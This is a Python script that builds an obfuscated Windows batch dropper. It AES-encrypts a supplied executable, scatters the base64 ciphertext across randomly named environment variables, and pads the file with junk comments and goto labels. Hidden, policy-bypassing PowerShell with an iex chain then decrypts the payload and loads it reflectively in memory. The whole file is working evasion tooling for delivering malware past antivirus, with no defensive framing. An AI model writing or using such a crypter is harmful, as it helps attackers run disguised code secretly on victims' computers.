#!/usr/bin/env python3 import random import string import base64 import os from pathlib import Path from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Random import get_random_bytes class CompleteBatchObfuscator: def __init__(self, exe_path, output_path='obfuscated_output.bat'): self.exe_path = Path(exe_path) self.output_path = Path(output_path) self.exe_name = self.exe_path.name self.used_names = set() self.aes_key = None self.iv = None self.encrypted_data = None self.base64_segments = [] self.segment_var_names = [] self.order_fragment_vars = {} self.powershell_chain_vars = [] self.labels = [] self.junk_words = [] print(f"init: {self.exe_name}") def generate_random_var_name(self, length=8, allow_special=False): while True: chars = string.ascii_letters + string.digits name = ''.join(random.choice(chars) for _ in range(length)) if name[0].isdigit(): name = random.choice(string.ascii_letters) + name[1:] if name not in self.used_names: self.used_names.add(name) return name def generate_random_label(self): length = random.randint(6, 12) chars = string.ascii_letters + string.digits label = ''.join(random.choice(chars) for _ in range(length)) if label[0].isdigit(): label = random.choice(string.ascii_letters) + label[1:] return label def generate_junk_words(self, count=200): syllables = ['ka', 'ra', 'ta', 'na', 'ma', 'pa', 'ba', 'za', 'la', 'da', 'ko', 'ro', 'to', 'no', 'mo', 'po', 'bo', 'zo', 'lo', 'do', 'ki', 'ri', 'ti', 'ni', 'mi', 'pi', 'bi', 'zi', 'li', 'di'] words = [] for _ in range(count): word_len = random.randint(2, 4) word = ''.join(random.choice(syllables) for _ in range(word_len)) words.append(word) self.junk_words = words return words def generate_junk_line(self): comment_type = random.choice(['rem', 'REM', 'Rem', '::']) num_words = random.randint(3, 8) words = random.sample(self.junk_words, min(num_words, len(self.junk_words))) if random.random() < 0.3: var = self.generate_random_var_name() return f'%{var}%{comment_type}%{self.generate_random_var_name()}% {" ".join(words)}' else: return f'{comment_type} {" ".join(words)}' def encrypt_exe_aes(self): print(f"\naes encrypt") print(f"=" * 60) exe_data = self.exe_path.read_bytes() print(f"read exe: {len(exe_data)} bytes") self.aes_key = get_random_bytes(32) self.iv = get_random_bytes(16) print(f"key: {self.aes_key.hex()}") print(f"iv: {self.iv.hex()}") padded_data = pad(exe_data, AES.block_size) print(f"padded: {len(padded_data)} bytes") cipher = AES.new(self.aes_key, AES.MODE_CBC, self.iv) encrypted = cipher.encrypt(padded_data) print(f"encrypted: {len(encrypted)} bytes") self.encrypted_data = self.iv + encrypted print(f"total: {len(self.encrypted_data)} bytes") return self.encrypted_data def split_base64_into_segments(self): print(f"\nb64 split") print(f"=" * 60) b64_data = base64.b64encode(self.encrypted_data).decode('ascii') print(f"b64: {len(b64_data)} chars") segment_size = len(b64_data) // 21 self.base64_segments = [] self.segment_var_names = [] for i in range(21): start = i * segment_size end = start + segment_size if i < 20 else len(b64_data) segment = b64_data[start:end] var_name = self.generate_random_var_name() self.base64_segments.append(segment) self.segment_var_names.append(var_name) print(f"seg {i+1:2d}: {var_name:12s} = {len(segment)} chars") print(f"made {len(self.base64_segments)} segments") return self.base64_segments, self.segment_var_names def create_order_obfuscation(self): print(f"\norder obfuscation") print(f"=" * 60) order_list = '!'.join(self.segment_var_names) print(f"order: {order_list[:100]}...") print(f"len: {len(order_list)} chars") num_fragments = random.randint(20, 25) fragments = [] fragment_vars = [] parts = order_list.split('!') parts_per_fragment = max(1, len(parts) // num_fragments) for i in range(0, len(parts), parts_per_fragment): fragment_parts = parts[i:i+parts_per_fragment] fragment = '!'.join(fragment_parts) if i + parts_per_fragment < len(parts): fragment += '!' var_name = self.generate_random_var_name(allow_special=True) fragments.append(fragment) fragment_vars.append(var_name) self.order_fragment_vars[var_name] = fragment print(f"frag {len(fragment_vars):2d}: {var_name:15s} = {fragment[:50]}...") print(f"made {len(fragment_vars)} fragments") line42_var_name = self.generate_random_var_name() line42_content = ''.join(f'%{var}%' for var in fragment_vars) print(f"line42 var: {line42_var_name}") print(f"line42: {line42_content[:100]}...") return line42_var_name, line42_content, fragment_vars def create_powershell_command(self, order_var_name): print(f"\nps command") print(f"=" * 60) key_bytes = ','.join(str(b) for b in self.aes_key) ps_command = f"""$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new();$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC;$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$jPFh8Se4.Key = [byte[]]@({key_bytes});$wEAR7v = [Convert]::FromBase64String(-join ($env:{order_var_name}.Split('!')).ForEach({{(Get-Item "env:$_").Value}}));$jPFh8Se4.IV = $wEAR7v[0..15];$F9q72zl=$jPFh8Se4.CreateDecryptor();$4lKXVT9F4=$F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0,$wEAR7v.Length-16);$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4);$gEBOJ.EntryPoint.Invoke($null, $null)""" print(f"ps len: {len(ps_command)} chars") print(f"reflective load (in-memory)") print(f"first 200: {ps_command[:200]}...") return ps_command def create_powershell_chain(self, ps_command): print(f"\nps chain") print(f"=" * 60) statements = ps_command.split(';') num_parts = 7 statements_per_part = max(1, len(statements) // num_parts) parts = [] for i in range(0, len(statements), statements_per_part): part_statements = statements[i:i+statements_per_part] part = ';'.join(part_statements) parts.append(part) if len(parts) > num_parts: parts = parts[:num_parts-1] + [';'.join(parts[num_parts-1:])] chain_vars = [] for i in range(min(len(parts), num_parts)): var_name = self.generate_random_var_name() chain_vars.append(var_name) self.powershell_chain_vars = chain_vars chain_values = {} for i in range(len(chain_vars)): if i < len(chain_vars) - 1: value = parts[i] + f";iex $env:{chain_vars[i+1]}" else: value = parts[i] chain_values[chain_vars[i]] = value print(f"chain {i+1}: {chain_vars[i]:12s} -> {value[:80]}...") print(f"made {len(chain_vars)}-step chain") return chain_vars, chain_values def obfuscate_string_with_vars(self, text, num_parts=None): if num_parts is None: num_parts = random.randint(4, 10) part_size = len(text) // num_parts parts = [] var_names = [] for i in range(num_parts): start = i * part_size end = start + part_size if i < num_parts - 1 else len(text) part = text[start:end] var_name = self.generate_random_var_name() parts.append(part) var_names.append(var_name) return list(zip(var_names, parts)) def build_batch_file(self, line42_var, line42_content, fragment_vars, chain_vars, chain_values, order_var_name): print(f"\nbatch assembly") print(f"=" * 60) lines = [] self.labels = [self.generate_random_label() for _ in range(random.randint(10, 15))] self.generate_junk_words(200) lines.append('@echo off') for _ in range(2): lines.append(self.generate_junk_line()) lines.append(f'goto :{self.labels[0]}') for _ in range(3): lines.append(self.generate_junk_line()) lines.append(f':{self.labels[0]}') lines.append('') exe_parts = self.obfuscate_string_with_vars(self.exe_name, num_parts=random.randint(5, 8)) for var, part in exe_parts: set_cmd = random.choice(['set', 'SET', 'sEt', 'SeT', 'seT', 'sET']) if random.random() < 0.7: lines.append(f'{set_cmd} "{var}={part}"') else: lines.append(f'{set_cmd} {var}={part}') exe_var_ref = ''.join(f'%{var}%' for var, _ in exe_parts) for _ in range(random.randint(3, 6)): lines.append(self.generate_junk_line()) lines.append(f'goto :{self.labels[1]}') lines.append(self.generate_junk_line()) lines.append(f':{self.labels[1]}') print(f"adding 21 b64 vars...") for i, (var_name, segment) in enumerate(zip(self.segment_var_names, self.base64_segments)): set_cmd = random.choice(['SET', 'set', 'sEt']) lines.append(f'{set_cmd} {var_name}={segment}') if (i + 1) % 5 == 0: lines.append(self.generate_junk_line()) for _ in range(random.randint(2, 4)): lines.append(self.generate_junk_line()) lines.append(f'goto :{self.labels[2]}') lines.append(f':{self.labels[2]}') print(f"adding order fragments...") for var_name, fragment in self.order_fragment_vars.items(): set_cmd = random.choice(['set', 'SET', 'sEt']) if random.random() < 0.5: lines.append(f'{set_cmd} "{var_name}={fragment}"') else: lines.append(f'{set_cmd} "{var_name}={fragment}" && {self.generate_junk_line()}') print(f"adding line 42...") lines.append(f'SET "{order_var_name}={line42_content}"') for _ in range(random.randint(2, 4)): lines.append(self.generate_junk_line()) lines.append(f'goto :{self.labels[3]}') lines.append(f':{self.labels[3]}') print(f"adding ps chain...") for var_name in reversed(chain_vars): value = chain_values[var_name] set_cmd = random.choice(['SET', 'set', 'sEt', 'SeT']) lines.append(f'{set_cmd} "{var_name}={value}"') print(f"adding exec cmd...") lines.append(f'goto :{self.labels[4]}') lines.append(f':{self.labels[4]}') ps_parts = self.obfuscate_string_with_vars('powershell -ExecutionPolicy Bypass -WindowStyle Hidden -c') for var, part in ps_parts: set_cmd = random.choice(['set', 'SET']) lines.append(f'{set_cmd} "{var}={part}"') ps_ref = ''.join(f'%{var}%' for var, _ in ps_parts) lines.append(f'{ps_ref} %{chain_vars[0]}%') for i in range(5, len(self.labels)): lines.append('') if random.random() < 0.3 and i < len(self.labels) - 1: lines.append(f'goto :{self.labels[i+1]}') for _ in range(random.randint(2, 6)): lines.append(self.generate_junk_line()) lines.append(f':{self.labels[i]}') for _ in range(random.randint(5, 10)): lines.append(self.generate_junk_line()) print(f"total lines: {len(lines)}") return lines def build(self): print(f"\n{'='*60}") print(f"batch obfuscator") print(f"{'='*60}") print(f"in: {self.exe_path}") print(f"out: {self.output_path}") self.encrypt_exe_aes() self.split_base64_into_segments() line42_var, line42_content, fragment_vars = self.create_order_obfuscation() order_var_name = self.generate_random_var_name(length=12) ps_command = self.create_powershell_command(order_var_name) chain_vars, chain_values = self.create_powershell_chain(ps_command) lines = self.build_batch_file(line42_var, line42_content, fragment_vars, chain_vars, chain_values, order_var_name) self.output_path.write_text('\n'.join(lines), encoding='utf-8') print(f"\n{'='*60}") print(f"done") print(f"{'='*60}") print(f"output: {self.output_path}") print(f"lines: {len(lines)}") print(f"vars: {len(self.used_names)}") print(f" payload: {len(self.segment_var_names)}") print(f" order: {len(self.order_fragment_vars)}") print(f" ps chain: {len(chain_vars)}") print(f" other: {len(self.used_names) - len(self.segment_var_names) - len(self.order_fragment_vars) - len(chain_vars)}") print(f"labels: {len(self.labels)}") print(f"junk: ~{len([l for l in lines if 'rem' in l.lower() or '::' in l])}") print(f"key: {self.aes_key.hex()}") print(f"iv: {self.iv.hex()}") return self.output_path def main(): import sys print("=" * 60) print("batch obfuscator") print("=" * 60) if len(sys.argv) < 2: print("\nusage: python builder.py [output.bat]") print("\nexample:") print(" python builder.py myapp.exe obfuscated.bat") sys.exit(1) exe_file = sys.argv[1] output_file = sys.argv[2] if len(sys.argv) > 2 else 'obfuscated_output.bat' if not Path(exe_file).exists(): print(f"\nfile not found: {exe_file}") sys.exit(1) builder = CompleteBatchObfuscator(exe_file, output_file) builder.build() print(f"\ndone: {output_file}") if __name__ == "__main__": main()